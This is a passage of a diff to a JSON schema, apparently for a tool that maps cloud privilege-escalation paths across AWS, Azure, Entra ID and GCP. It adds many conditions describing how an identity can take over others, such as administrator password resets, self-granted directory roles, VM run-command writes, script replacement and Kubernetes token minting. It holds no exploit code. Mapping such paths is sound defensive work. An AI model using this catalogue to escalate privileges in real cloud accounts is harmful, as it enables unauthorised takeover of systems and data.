"sagemaker_studio_profile_iam_domain_ready", + "sagemaker_studio_profile_lcc_route", + "sagemaker_studio_shared_space_lcc_route", + "sagemaker_training_inline_entrypoint_route", "service_specific_credential_ready", + "servicecatalog_new_artifact_effect_unverified", "sfn_existing_state_machine_update_and_start", + "sfn_role_sdk_effect_reviewed", "source_attached_admin_policy_version_exists", "source_attached_policy_version_capacity", "source_boundary_allows_account_admin", "source_in_org_management_account", + "spot_request_with_passed_profile_and_role_ready", + "ssm_existing_automation_runtime_role_effect_reviewed", "ssm_hybrid_sendcommand_role", "ssm_hybrid_startsession_role", "ssm_incident_response_plan_runs_new_automation_document", @@ -441,10 +558,13 @@ "ssm_shell_association_targets", "ssm_shell_document_on_online_instance", "ssm_shell_session_on_online_instance", + "stepfunctions_teststate_privileged_task_unverified", + "synthetics_existing_canary_dry_run_code", "target_codecommit_git_permission", "target_console_login_without_mfa", "target_in_other_account", - "target_ssh_public_key_capacity" + "target_ssh_public_key_capacity", + "workspaces_instances_bound_launch_role_effect" ] } }, @@ -1965,6 +2085,10 @@ "k8s_user", "k8s_verified_authority" ] + }, + "source_reaches_user_outside_target_group": { + "const": true, + "description": "The chain must reach an enabled user who is not already a member of the target group." } }, "type": "object" @@ -2106,6 +2230,10 @@ "const": true, "description": "The source can read Arc relay credentials for the exact machine endpoint and log in as administrator through configured Entra SSH." }, + "azure_arc_guest_configuration_path": { + "const": true, + "description": "Exact Arc machine guest-configuration assignment write path and collected connection state." + }, "azure_arc_run_command_code_path": { "const": true, "description": "The source can create or update a Run Command child on the exact Arc identity machine while its connected agent permits the handler." @@ -2200,6 +2328,30 @@ "const": true, "description": "The source can assign the verified user-assigned identity to an exact writable job in a usable managed environment, or create a scheduled job in an inventoried group and joinable environment." }, + "azure_containerapp_job_execution_identity": { + "const": true, + "description": "The source can start the exact usable Job with an execution template override, or write a controlled scheduled template, and the target identity is available in the main stage or an init stage on a confirmed Consumption workload profile." + }, + "azure_containerapp_write_existing_identity": { + "const": true, + "description": "The source can write an exact usable Container App with this currently attached identity, and can start it if stopped." + }, + "azure_cosmos_mongo_user_write": { + "const": true, + "description": "The source can create a password-controlled MongoDB user with a built-in privileged role on an exact usable MongoDB account with native RBAC enabled." + }, + "azure_cosmos_other_api_role_grant": { + "const": true, + "description": "The source can grant its own Entra principal a privileged native role on an exact usable account of the matching Cosmos DB API." + }, + "azure_cosmos_sql_role_grant": { + "const": true, + "description": "The source can assign its own Entra principal the built-in NoSQL Data Contributor role on an exact usable Cosmos DB for NoSQL account." + }, + "azure_databricks_workspace_admin": { + "const": true, + "description": "An enabled tenant member user can bootstrap admin on an exact usable Databricks workspace with both required Azure RBAC actions." + }, "azure_deployer_of_pivot": { "const": true, "description": "Identity that deploys the pivot resource (e.g. deployment script runner); not collected (unknown)." @@ -2208,6 +2360,10 @@ "const": true, "description": "The source can create or update a deployment script with the exact assignable UAMI and can manage its required support resources." }, + "azure_devtestlab_artifact_identity": { + "const": true, + "description": "The source can apply artifacts to the exact lab VM whose computeId points to a known compute VM carrying the target identity." + }, "azure_external_plane": { "description": "Exact adjacent authorization plane of a reviewed Azure external-principal gain.", "type": "string" @@ -2220,6 +2376,18 @@ "const": true, "description": "A writable Flux configuration belongs to the exact AKS or Arc cluster and has cluster scope." }, + "azure_function_definition_code_path": { + "const": true, + "description": "Source can edit a function on the exact writable Function App carrying the target managed identity." + }, + "azure_function_host_vfs_code_path": { + "const": true, + "description": "Source can use hostruntime VFS write on the exact writable Function App carrying the target managed identity." + }, + "azure_function_remote_debug_path": { + "const": true, + "description": "Source can obtain publishing credentials and enable or use debugging on the exact supported Function App identity host." + }, "azure_host_linked_to_pivot": { "description": "Identity of a VM linked to the pivot resource: avd_session_host (application group -> hostPoolArmPath -> session hosts), automation_hybrid_worker (hybrid runbook workers' vmResourceId), devtest_lab_compute_vm (lab VM computeId), service_fabric_node_vmss (not collected: always unresolved). Linked VM identities are derived; the others are dropped when every link under {pivot} is collected, else unresolved.", "enum": [ @@ -2229,14 +2397,113 @@ "service_fabric_node_vmss" ] }, + "azure_hybrid_k8s_admin_credential_path": { + "const": true, + "description": "Bind a hybrid cluster admin kubeconfig action to its exact provisioned cluster or Arc cluster instance." + }, "azure_identity_assignable_in_scope": { "const": true, "description": "Requirements with scope '*' must hold on a scope that contains the identity's attached resource (or the user-assigned identity resource)." }, + "azure_imagebuilder_new_template_identity_path": { + "const": true, + "description": "Check create and run on one new template plus source-to-template and template-to-build-VM identity assignment." + }, + "azure_kusto_cluster_principal_assignment_path": { + "const": true, + "description": "Bind a cluster principal-assignment write to an exact collected Kusto cluster." + }, + "azure_kusto_database_principal_assignment_path": { + "const": true, + "description": "Bind a database principal-assignment write to an exact collected Kusto database." + }, + "azure_loadtesting_assign_uami_path": { + "const": true, + "description": "Bind UAMI assignment and all load-test write and run rights to the same existing or creatable resource." + }, + "azure_loadtesting_existing_engine_identity_path": { + "const": true, + "description": "Bind test write and start DataActions to an exact Load Testing resource carrying the target identity." + }, + "azure_logicapp_assign_uami_path": { + "const": true, + "description": "The source can assign the exact UAMI and write one existing or creatable Consumption workflow in an inventoried resource group." + }, + "azure_logicapp_existing_identity_path": { + "const": true, + "description": "The source can write the exact existing Consumption workflow carrying the target managed identity." + }, + "azure_managedapp_listtokens_path": { + "const": true, + "description": "The source can call listTokens on the exact managed application carrying the target managed identity." + }, + "azure_ml_compute_application_identity_path": { + "const": true, + "description": "The source can open applications on the exact assigned or shared ML compute instance carrying the identity, while it runs or can be started." + }, + "azure_ml_compute_create_uami_path": { + "const": true, + "description": "The source can create a new compute instance with an inline script under an existing workspace and assign the exact user-assigned identity." + }, + "azure_ml_existing_online_deployment_identity_path": { + "const": true, + "description": "The source can write the exact existing online endpoint, a deployment child and the owning workspace read path while that endpoint carries the target identity." + }, + "azure_ml_online_endpoint_create_uami_path": { + "const": true, + "description": "The source can create one online endpoint and deployment under an existing workspace and assign the exact user-assigned identity." + }, + "azure_mongo_cluster_admin_password": { + "const": true, + "description": "The source can update an exact inventoried primary Mongo cluster in a usable state to reset its administrator password." + }, + "azure_mongo_cluster_self_root": { + "const": true, + "description": "The source can assign the root database role to its own Entra principal on an exact usable primary Mongo cluster with Entra authentication enabled or enableable." + }, + "azure_mysql_flexible_admin_password_reset": { + "const": true, + "description": "The source can reset the administrator password on an exact usable MySQL Flexible Server with native password authentication enabled or enableable." + }, + "azure_mysql_flexible_entra_admin_write": { + "const": true, + "description": "The source can set itself or a group it belongs to as the Entra administrator of an exact usable MySQL Flexible Server with a qualified user-assigned identity." + }, + "azure_policy_assignment_identity_path": { + "const": true, + "description": "A writable policy assignment, writable visible custom definition, and assignable UAMI must form one usable path." + }, + "azure_postgresql_flexible_admin_password_reset": { + "const": true, + "description": "The source can reset the administrator password on an exact ready PostgreSQL Flexible Server, promoting a replica first if necessary." + }, + "azure_postgresql_flexible_entra_admin_write": { + "const": true, + "description": "The source can add itself or a group it belongs to as an Entra administrator on an exact PostgreSQL Flexible Server with Entra authentication enabled or enableable." + }, + "azure_resource_type": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Restrict an Azure resource entity target to collected resources with the exact ARM type." + }, "azure_root_scope_only": { "const": true, "description": "Restrict an Azure root-scope authorization target to the tenant root (/)." }, + "azure_servicefabric_application_uami_path": { + "const": true, + "description": "Application type, version, application and UAMI assignment grants must join on one Service Fabric cluster." + }, "azure_site_kind": { "anyOf": [ { @@ -2252,18 +2519,102 @@ ], "description": "Microsoft.Web/sites kind contains the value (functionapp, app, ...)." }, + "azure_spring_app_uami_path": { + "const": true, + "description": "App write and deployment write must join on one app in an inventoried Spring Apps service, with assignment of the exact UAMI." + }, + "azure_spring_deployment_identity_path": { + "const": true, + "description": "Deployment write must authorize a child of the Spring app carrying the target managed identity." + }, + "azure_sql_server_admin_password_reset": { + "const": true, + "description": "The source can reset the administrator password on an exact usable Azure SQL logical server with SQL authentication enabled or enableable." + }, + "azure_sql_server_entra_admin_write": { + "const": true, + "description": "The source can set itself or a verified group it belongs to as the Entra administrator of an exact usable Azure SQL logical server." + }, + "azure_sqlmi_admin_password_reset": { + "const": true, + "description": "The source can reset the administrator password on an exact usable Azure SQL Managed Instance with SQL authentication enabled or enableable." + }, + "azure_sqlmi_entra_admin_write": { + "const": true, + "description": "The source can set itself or a verified group it belongs to as the Entra administrator of an exact usable SQL Managed Instance whose identity can read the directory." + }, + "azure_static_site_deployment_token": { + "const": true, + "description": "An inventoried Static Web App on which the source can request that exact site's deployment token." + }, "azure_storage_local_credential": { "description": "Azure Storage SFTP local user credential; reset_password, write_credential, or create_credential. Requires exact account settings and verified container rights.", "type": "string" }, + "azure_synapse_entra_admin_path": { + "const": true, + "description": "An eligible source can write the Active Directory administrator child of an inventoried Synapse workspace." + }, + "azure_uami_fic_write_path": { + "const": true, + "description": "The source can create or update a federated credential child on the exact user-assigned identity resource." + }, "azure_users_assigned_to_pivot": { "const": true, "description": "azure_user targets holding Desktop Virtualization User (directly or through a group) on an AVD application group within {pivot}; always conditional (user_launches_app)." }, + "azure_vm_assign_existing_uami_path": { + "const": true, + "description": "The source can write one inventoried VM, assign the exact UAMI, and execute code on that same VM." + }, + "azure_vm_assign_indirect_uami_path": { + "const": true, + "description": "The source can write one inventoried VM, assign the exact UAMI, and use a same-VM indirect guest route." + }, + "azure_vm_create_uami_path": { + "const": true, + "description": "The source can create a VM in a known group, join a usable NIC or create one on a known subnet, and assign the exact UAMI." + }, + "azure_vm_extension_execution_path": { + "const": true, + "description": "Extension write must authorize a child of the inventoried VM carrying the target identity." + }, + "azure_vm_gallery_application_path": { + "const": true, + "description": "Writable gallery application version and VM write must join an inventoried VM identity host." + }, + "azure_vm_managed_runcommand_path": { + "const": true, + "description": "Managed Run Command write must authorize a child of the inventoried VM carrying the target identity." + }, + "azure_vm_os_disk_swap_path": { + "const": true, + "description": "VM write and writable compatible same-region replacement disk must join the inventoried VM identity host." + }, + "azure_vm_reimage_customdata_path": { + "const": true, + "description": "Reimage with request-body customData must target an inventoried Linux VM carrying the target identity." + }, + "azure_vm_runcommand_action_path": { + "const": true, + "description": "Run Command action must target an inventoried VM carrying the identity and a stopped VM needs start/action." + }, "azure_vmss_instance_identity": { "const": true, "description": "The selected scale-set VM instance belongs to a scale set carrying this managed identity." }, + "azure_vmss_instance_runcommand_action_path": { + "const": true, + "description": "Run Command action must authorize an inventoried Uniform scale-set instance carrying the identity." + }, + "azure_vmss_instance_runcommand_path": { + "const": true, + "description": "Managed Run Command write must target a child of an inventoried Uniform scale-set instance." + }, + "azure_vmss_model_rollout_path": { + "const": true, + "description": "Uniform VMSS model or extension write must authorize the identity host and a route to its instances." + }, "credential_stored_in_scope": { "description": "Principals whose secrets are stored in that resource/scope (always conditional; secret contents are never read).", "type": "string" @@ -2295,6 +2646,22 @@ ], "description": "Application signInAudience equals the value." }, + "entra_auth_admin_user_takeover": { + "const": true, + "description": "Authentication Administrator role scope, protected user and TAP or password reset path are checked for the target." + }, + "entra_auto_assignment_package_group": { + "const": true, + "description": "Target group has a Member role in an existing access package whose automatic assignment policy the source can create." + }, + "entra_catalog_self_grant_group": { + "const": true, + "description": "A source user can create or assign a package granting Member or Owner of this cataloged group; assignment managers require an existing package with that exact grant." + }, + "entra_catalog_self_grant_role": { + "const": true, + "description": "A source user can create or assign a package granting Active Member or Eligible Member of this cataloged Entra role; assignment managers require an existing package with that exact grant." + }, "entra_custom_role_assigned_to_source": { "const": true, "description": "Target is reached by editing a custom directory role already assigned to the source." @@ -2307,6 +2674,30 @@ "const": true, "description": "Dynamic membershipRule can be satisfied by a guest the source can invite (membershipRule needed)." }, + "entra_graph_application_credential_target": { + "const": true, + "description": "Application-type service principal has a matching tenant application for application addPassword; foreign service principals stay unresolved when their instance lock cannot be checked." + }, + "entra_graph_directory_role_self_grant": { + "const": true, + "description": "An enabled Graph application source can assign itself a new tenant-scoped, enabled directory role." + }, + "entra_graph_group_sp_membership": { + "const": true, + "description": "The source app has Graph permission to add itself to a cloud-managed security group that does not already contain it." + }, + "entra_graph_group_user_membership": { + "const": true, + "description": "The source app can add a user it reaches to a cloud-managed security or Microsoft 365 group." + }, + "entra_graph_self_grant_directory_role": { + "const": true, + "description": "The source can grant itself Microsoft Graph RoleManagement.ReadWrite.Directory and a fresh token can assign an inventoried Entra directory role." + }, + "entra_graph_tap_user_target": { + "const": true, + "description": "An enabled Graph application can issue a Temporary Access Pass to a user included in the enabled policy and not excluded by group or external identity." + }, "entra_group_membership_cloud_writable": { "const": true, "description": "Synchronized or missing group source-of-authority facts keep a membership-write path conditional." @@ -2315,10 +2706,22 @@ "description": "Group membership is 'assigned' or 'dynamic' (groupTypes contains DynamicMembership).", "type": "string" }, + "entra_group_new_self_membership": { + "const": true, + "description": "The enabled source can join this supported assigned group and is not already a direct or nested member." + }, + "entra_group_owner_new_self_membership": { + "const": true, + "description": "An enabled owner can join the supported assigned group, with protected-group Graph permission checks." + }, "entra_group_role_assignable": { "description": "Group isAssignableToRole equals the value.", "type": "boolean" }, + "entra_group_source_not_owner": { + "const": true, + "description": "The source is not already an owner of the target group; incomplete owner inventory stays conditional." + }, "entra_group_source_self_membership": { "const": true, "description": "An application source needs Graph group-write and application-write permission to add its own service principal as a member." @@ -2327,6 +2730,26 @@ "const": true, "description": "Group type (security / Microsoft 365) is covered by the entra_permission variant (groups.security / groups.unified)." }, + "entra_helpdesk_password_reset": { + "const": true, + "description": "Helpdesk password reset checks target roles, group protection, administrative unit scope, and password origin." + }, + "entra_nonadmin_password_reset": { + "const": true, + "description": "Non-admin reset roles check user source, target protection, administrative unit scope, and password origin." + }, + "entra_password_admin_reset": { + "const": true, + "description": "Password Administrator reset checks target roles, group protection, administrative unit scope, and password origin." + }, + "entra_pim_active_sp_membership": { + "const": true, + "description": "The enabled application source can request time-limited active membership in a cloud security group where it is not already a member." + }, + "entra_pim_controlled_user_eligibility": { + "const": true, + "description": "A PIM eligibility request can name a controlled user who is not already a member of the cloud security or Microsoft 365 group." + }, "entra_pim_eligible_for_source": { "const": true, "description": "Source has a PIM eligibility schedule for the target role." @@ -2345,6 +2768,10 @@ ], "description": "entra_group targets for which the source (or one of its groups) has a PIM for Groups eligibility: true = member or owner, or 'member' / 'owner'. Always conditional (pim_activation_required)." }, + "entra_privileged_auth_user_takeover": { + "const": true, + "description": "Privileged credential reset checks role scope, target protection, and application grants." + }, "entra_reset_matrix_column": { "description": "Targets whose password the role column may reset per Microsoft's 'who can reset passwords' table, excluding role-assignable-group members and restricted-AU members.", "type": "string" @@ -2372,6 +2799,10 @@ "const": true, "description": "The directory role assignment's directoryScopeId ('/', AU or object) contains the target." }, + "entra_role_assignment_self_grant": { + "const": true, + "description": "An active role-assignment manager can assign itself a new enabled directory role at tenant scope." + }, "entra_source_is_owner_of_application": { "const": true, "description": "Source owns the target's application object." @@ -2384,10 +2815,18 @@ "const": true, "description": "Source owns the target service principal." }, + "entra_sp_credential_takeover_target": { + "const": true, + "description": "An enabled application service principal whose credential update is not blocked by a known home-application lock." + }, "entra_sp_has_tenant_application": { "const": true, "description": "Service principal's appId belongs to an application registered in this tenant." }, + "entra_sp_owner_update_target": { + "const": true, + "description": "An enabled application service principal the user does not already own and whose credentials are not known to be locked." + }, "entra_sp_type_in": { "anyOf": [ { @@ -2407,6 +2846,10 @@ "const": true, "description": "Target is not a member of a restricted management administrative unit (AU facts needed)." }, + "entra_user_admin_password_reset": { + "const": true, + "description": "User Administrator reset checks target roles, AU scope, password origin, and app-only Graph grants." + }, "entra_user_upn_on_federatable_custom_domain": { "const": true, "description": "Target user's UPN is on a verified custom domain whose federation the source can change (domain facts needed)." @@ -2838,6 +3281,14 @@ "const": true, "description": "Unique reviewed evidence ties a changed Agent Registry Skill to one floating consumer, runtime identity, and newly successful bounded action." }, + "gcp_apigee_proxy_deploy_path": { + "const": true, + "description": "Existing Apigee organization and standard environment with exact author and deployment grants and runtime token delegation." + }, + "gcp_apigee_sharedflow_hook_path": { + "const": true, + "description": "Existing standard Apigee environment with a proxy deployment, exact shared-flow and hook grants, and runtime token delegation." + }, "gcp_appengine_deploy_path": { "const": true, "description": "Existing App Engine application, source staging bucket, and target runtime service-account repository access." @@ -2858,10 +3309,18 @@ "const": true, "description": "Exact standard Docker repository, tagged Cloud Run consumer and runtime account, plus repository policy-write authority." }, + "gcp_artifact_upload_consumer_path": { + "const": true, + "description": "Exact standard Docker repository, tagged Cloud Run consumer and runtime account, plus repository upload authority." + }, "gcp_batch_agent_reporter_on_target": { "const": true, "description": "The target service account holds batch.states.report in its Batch job project." }, + "gcp_bigquery_spark_connection_path": { + "const": true, + "description": "One recorded Spark connection identity has a new effective permission; the source can create or replace and invoke a Spark procedure in a compatible dataset using that exact connection." + }, "gcp_bounded_access_gain": { "const": true, "description": "Unique reviewed evidence proves a newly allowed bounded action through one created or authorized intermediate resource." @@ -2882,6 +3341,10 @@ "description": "Exact reviewed technique/source/target/scope evidence from gcp_privesc_challenge_evidence. Only verified preconditions produce a conditional path; missing or incomplete evidence is unresolved.", "type": "string" }, + "gcp_cloudbuild_api_enabled": { + "const": true, + "description": "Cloud Build API is enabled in the target service account's build project." + }, "gcp_cloudbuild_writable_trigger_policy_path": { "const": true, "description": "An exact connection policy grant can self-grant repository token access for an enabled push trigger with a recorded build identity." @@ -2942,10 +3405,34 @@ "const": true, "description": "Source can add task creation on an exact queue it does not already control, remove a target override when permitted, and dispatch from a running or resumable queue." }, + "gcp_composer_create_with_dag_path": { + "const": true, + "description": "Source can create a Composer environment in a region with an eligible custom bucket, prepopulate its DAG prefix, and attach a service account with Composer Worker access." + }, + "gcp_composer_dag_upload_path": { + "const": true, + "description": "Source can create a new Python DAG object under the observed prefix of a usable Composer environment, including through managed-folder IAM." + }, + "gcp_composer_pypi_update_path": { + "const": true, + "description": "Source can update the PyPI packages of a running Composer environment using the target service account." + }, + "gcp_composer_storage_policy_path": { + "description": "Source can write the IAM policy of the exact DAG bucket or managed folder for a usable Composer environment.", + "type": "string" + }, + "gcp_configdelivery_fleet_target": { + "const": true, + "description": "Exact GKE fleet membership, Config Sync feature and RootSync authority with the source's Config Delivery rights on the fleet host project." + }, "gcp_cross_project_cloudbuild": { "const": true, "description": "A build in another collected project can use the target SA only when the effective cross-project policy permits it and that project's Cloud Build service agent has token access." }, + "gcp_cross_project_run_instance": { + "const": true, + "description": "A Cloud Run instance can be created or updated in a different collected project with the target SA only when the exact host action, target project's effective cross-project policy, and service-agent token access are resolved." + }, "gcp_cross_project_run_job": { "const": true, "description": "A Cloud Run job can be created and run in a different collected project with the target SA only when the target project's effective cross-project org policy permits it and its service agent has token access." @@ -2962,6 +3449,82 @@ "const": true, "description": "Target is the exact scope where the source has a binding to a collected custom role, and the source can update that exact role." }, + "gcp_dataflow_artifact_overwrite_path": { + "const": true, + "description": "An active Dataflow job links the exact worker account to an unpinned code object that the source can replace and the worker can read." + }, + "gcp_dataflow_flex_launch_path": { + "const": true, + "description": "Enabled Dataflow API, project read, usable staging bucket, worker role and access, and Dataflow and Compute service-agent rights on the exact worker account." + }, + "gcp_datafusion_artifact_poison_path": { + "const": true, + "description": "A replaceable USER-scoped CDAP artifact version is used by an enabled pipeline schedule with a resolved runner and exact namespace and runtime permissions." + }, + "gcp_datafusion_pipeline_path": { + "const": true, + "description": "An installed pipeline artifact exposes a code plugin, and exact namespace, profile, service-agent and runner permissions support execution." + }, + "gcp_datafusion_selfgrant_path": { + "const": true, + "description": "The source can change the exact Data Fusion instance or namespace IAM policy, then reach an installed code plugin's runnable profile account." + }, + "gcp_datapipelines_scheduled_template_path": { + "const": true, + "description": "Enabled Data Pipelines runtime, scheduled region, service agents, and an authorized Scheduler identity for the exact worker account." + }, + "gcp_dataplex_task_path": { + "const": true, + "description": "An active lake accepts task creation, the selected account can be acted as and run Spark, and a writable Python payload is readable by that account." + }, + "gcp_dataproc_cluster_selfgrant_path": { + "const": true, + "description": "The source can change an exact running Dataproc cluster policy, create a job in its project, and supply a script the cluster account can read." + }, + "gcp_dataproc_create_path": { + "const": true, + "description": "The source can create a Dataproc workload with the chosen service account, runnable worker, script, service agent, and subnet." + }, + "gcp_dataproc_gateway_path": { + "const": true, + "description": "An enabled notebook gateway on an exact running cluster lets the caller run code with its verified VM or mapped service account." + }, + "gcp_dataproc_init_replace_path": { + "const": true, + "description": "The caller can replace one live initialization-action object that a running cluster's VM account can read." + }, + "gcp_dataproc_job_path": { + "const": true, + "description": "The caller can submit a runnable job to an exact running cluster and use its verified VM or mapped service account." + }, + "gcp_dataproc_session_path": { + "const": true, + "description": "The source can create and access a Dataproc interactive session with the chosen service account and a usable runtime." + }, + "gcp_dataproc_workflow_path": { + "const": true, + "description": "The caller can create and instantiate a managed-cluster workflow with a runnable initialization action and chosen service account." + }, + "gcp_deploymentmanager_create_path": { + "const": true, + "description": "An existing customer's enabled Deployment Manager can use the exact project Google APIs Service Agent for a viable VM path." + }, + "gcp_deploymentmanager_selfgrant_path": { + "const": true, + "description": "The caller can change an exact deployment policy, grant itself update, and use the exact project agent's downstream path." + }, + "gcp_deploymentmanager_update_path": { + "const": true, + "description": "The caller can update an exact existing deployment with a current fingerprint and use its project agent's downstream path." + }, + "gcp_developerconnect_pipeline_path": { + "const": true, + "description": "The caller can write the exact Developer Connect link of an enabled push trigger with a repository build file and a more privileged build identity." + }, + "gcp_eventarc_oauth_pipeline_path": { + "const": true, + "description": "An exact Eventarc project has pipeline-create permission, a same-region enrollment route through an existing or creatable bus, and a service agent able to mint an OAuth token for the target SA." + }, "gcp_external_plane": { "description": "Exact external authorization plane named by the reviewed principal-gain record.", "type": "string" @@ -2970,10 +3533,86 @@ "const": true, "description": "Unique complete reviewed evidence binds a declared action to one named external-plane principal, usable credential, and a newly allowed target action." }, + "gcp_firebase_apphosting_retarget": { + "const": true, + "description": "An exact active Firebase App Hosting backend exists in the target SA project and the source can update, build and roll out on that backend." + }, + "gcp_fleet_config_management_target": { + "const": true, + "description": "Exact GKE fleet member, feature lifecycle and member feature, mutation permission on the matching resource, and Config Sync RootSync authority." + }, + "gcp_fleet_rbac_admin_target": { + "const": true, + "description": "Exact fleet membership or scope binding to an observed admin-equivalent custom ClusterRole on its joined GKE cluster, with an API access path." + }, "gcp_gcr_namespace_path": { "const": true, "description": "Fully redirected gcr.io host with a missing matching repository, create and upload rights there, and an exact tagged workload consumer identity." }, + "gcp_gke_clusterrole_bind": { + "const": true, + "description": "A joined running GKE cluster has a confirmed cluster-admin ClusterRole and a create path or an existing ClusterRoleBinding whose subjects can be updated." + }, + "gcp_gke_clusterrole_escalate": { + "const": true, + "description": "A joined running GKE cluster has an exact ClusterRoleBinding reaching the source, and the source can update its non-aggregated ClusterRole or create its missing referenced ClusterRole." + }, + "gcp_gke_namespaced_rbac_ksa_path": { + "const": true, + "description": "Exact joined GKE namespace RBAC permits a self-grant of Pod creation or ServiceAccount token creation for the target KSA." + }, + "gcp_gke_node_proxy_ksa": { + "const": true, + "description": "Exact GKE node proxy grant reaches a running container on a joined Node with the target Kubernetes service account token." + }, + "gcp_gke_node_proxy_sa": { + "const": true, + "description": "Exact GKE node-pool service account is joined to a running Pod on a labeled node whose metadata mode permits its token to be read through kubelet execution." + }, + "gcp_gke_node_sa_actas": { + "const": true, + "description": "An enabled service account can be selected for new Standard GKE nodes, and the source can create a pod on those nodes; cross-project use needs its guardrails." + }, + "gcp_gke_nodepool_metadata_downgrade": { + "const": true, + "description": "An exact Standard GKE node pool currently using GKE_METADATA can be updated and has a Pod workload path to its attached node service account." + }, + "gcp_gke_pod_exec_ksa": { + "const": true, + "description": "Exact joined GKE ServiceAccount has a named running Pod container with a mounted API audience token and Google-principal Pod exec authority." + }, + "gcp_gke_pod_exec_node_sa": { + "const": true, + "description": "Exact running GKE Standard cluster and node pool attach the target service account to a node with a running Pod container whose metadata mode exposes that account." + }, + "gcp_gke_pod_template_ksa": { + "const": true, + "description": "Exact GKE workload create authority, or update authority over an existing mutable controller in the target KSA namespace, with Google-principal cluster authentication." + }, + "gcp_gke_pod_template_node_sa": { + "const": true, + "description": "Exact running GKE Standard cluster and node pool attach the target service account to a schedulable node with usable metadata; the source can create a workload, update an existing controller, or update a running Pod." + }, + "gcp_gke_pod_update_ksa": { + "const": true, + "description": "Exact joined GKE ServiceAccount has a named running Pod container whose image can be changed and whose mounted token has the API audience." + }, + "gcp_gke_secret_ksa": { + "const": true, + "description": "Exact joined GKE ServiceAccount UID matches a populated, valid token Secret that the Google principal can list or read by a discoverable name." + }, + "gcp_gke_system_impersonation": { + "const": true, + "description": "An exact running GKE Standard cluster accepts system identity impersonation and the source can authenticate to its API server." + }, + "gcp_gke_token_request_ksa": { + "const": true, + "description": "Exact joined running GKE cluster has a non-deleting Kubernetes ServiceAccount whose TokenRequest subresource the Google principal can create." + }, + "gcp_gke_webhook_ksa_path": { + "const": true, + "description": "A running GKE cluster has a KSA workload that can be reached by a new webhook or by updating an existing webhook configuration." + }, "gcp_group_join_open_to_source": { "const": true, "description": "gcp_group targets the source can join without approval (Groups Settings whoCanJoin ANYONE_CAN_JOIN, or ALL_IN_DOMAIN_CAN_JOIN with the source's email domain equal to the group's; a source outside the group's domain also needs allowExternalMembers=true). Use with requires: {} and source_kind gcp_user." @@ -2990,10 +3629,66 @@ "const": true, "description": "Target SA is one a delegate chain can mint credentials for: the source holds iam.serviceAccounts.implicitDelegation on delegate D1, each Di holds implicitDelegation on Di+1 (transitively), and some Dk holds getAccessToken, signBlob or signJwt on the target. Delegates are not targets themselves (implicitDelegation does not yield their own token)." }, + "gcp_kcc_generated_key_secret": { + "const": true, + "description": "A joined KCC identity can create a key for the exact target service account while the source can create the KCC resource and read its generated Secret or key resource status on the same cluster." + }, + "gcp_kcc_project_policy_grant": { + "const": true, + "description": "A joined GKE cluster and Config Connector namespace identity can write a collected project's IAM policy through a served KCC policy resource." + }, + "gcp_metadata_vm_path": { + "const": true, + "description": "An exact VM with the target service account has metadata control and a concrete startup or metadata SSH path." + }, + "gcp_mig_create_path": { + "const": true, + "description": "A new instance template and managed instance group can use a ready image and subnet, caller and service-agent permissions, and the exact target service account." + }, + "gcp_mig_existing_template_path": { + "const": true, + "description": "One inventoried managed instance group and its current template are joined to exact update, template, supporting, rollout, and service-agent actAs permissions." + }, + "gcp_osadminlogin_vm_path": { + "const": true, + "description": "A running VM attached to the target service account has OS Login enabled and the source can request administrator login on that exact VM." + }, + "gcp_osconfig_guest_policy_path": { + "const": true, + "description": "A running VM attached to the target service account has an active OS Config inventory heartbeat and enabled guest-policy processing; creation or exact existing-policy update authority is checked separately." + }, + "gcp_osconfig_os_policy_assignment_path": { + "const": true, + "description": "A running VM attached to the target service account has enabled GA OS-policy processing and a recent agent heartbeat; zonal create or named update authority is checked separately." + }, + "gcp_osconfig_patch_job_path": { + "const": true, + "description": "A running patch-supported VM attached to the target service account has enabled patch processing and a recent agent heartbeat; project execute/create or exact deployment update authority is checked separately." + }, + "gcp_osconfig_policy_orchestrator_path": { + "const": true, + "description": "A running VM attached to the target service account has enabled GA OS-policy processing and a recent agent heartbeat; the source can write an orchestrator at a containing parent with required service agents." + }, + "gcp_oslogin_vm_path": { + "const": true, + "description": "A running VM attached to the target service account has OS Login enabled and the source can request standard login on that exact VM." + }, "gcp_pam_entitlement_requester": { "const": true, "description": "Target scope has a Privileged Access Manager entitlement whose eligible requesters include the source (directly or through a group) and whose roles give IAM control of the scope. PAM entitlements are not collected (not evaluated)." }, + "gcp_privatecatalog_dm_iam_path": { + "const": true, + "description": "An exact validated Deployment Manager version is shared to a consumer project whose Google APIs Service Agent has project IAM write authority the source lacks; the source can update that version." + }, + "gcp_project_iam_sa_token_grant": { + "const": true, + "description": "An exact project IAM policy writer can add a project-wide Token Creator binding for itself and mint a token for a named enabled service account it cannot already impersonate." + }, + "gcp_project_metadata_vm_path": { + "const": true, + "description": "An exact VM with the target service account inherits controlled project metadata and has a concrete startup or metadata SSH path." + }, "gcp_resource_self_grant": { "const": true, "description": "A reviewed accepted self-grant or a modeled exact-resource policy write that adds a new permission; prospective resources include Secret Manager secrets, Cloud KMS keys, Pub/Sub topics and subscriptions, standard Artifact Registry repositories, and Analytics Hub exchanges and listings." @@ -3006,18 +3701,30 @@ "const": true, "description": "Source has SSH permission on an attached Cloud Run instance that is running or can be started." }, + "gcp_run_job_create_execute_path": { + "const": true, + "description": "Source can create and run a new Cloud Run job in the target service account's project when both grants apply there and the API is enabled." + }, "gcp_run_job_override_path": { "const": true, - "description": "Source can run a collected Cloud Run job and override that same job's execution under its pinned service account." + "description": "Source can run a ready collected Cloud Run job with overrides on the same job, whose recorded interpreter command accepts code through overridden arguments." }, "gcp_run_job_policy_override_path": { "const": true, - "description": "Source can set the IAM policy of a collected Cloud Run job pinned to the target service account." + "description": "Source can self-grant missing actions on an exact ready Cloud Run job and execute code through its recorded interpreter or an update with actAs on the pinned service account." }, "gcp_run_job_update_execute_path": { "const": true, "description": "Source can update and run the same collected Cloud Run job in the target service account's project." }, + "gcp_run_service_create_path": { + "const": true, + "description": "Source can create a new Cloud Run service in the target service account's project when the grant applies there and the API is enabled." + }, + "gcp_run_service_policy_update_path": { + "const": true, + "description": "Source can self-grant missing update rights on an exact ready Cloud Run service whose IAM policy it controls." + }, "gcp_run_service_ssh_path": { "const": true, "description": "Source has SSH permission on an attached, ready second-generation Cloud Run service with SSH enabled." @@ -3030,10 +3737,22 @@ "const": true, "description": "Source can create a worker pool in the target project or update an exact existing worker pool there." }, + "gcp_run_worker_pool_policy_update_path": { + "const": true, + "description": "Source can self-grant missing update rights on an exact ready Cloud Run worker pool whose IAM policy it controls." + }, 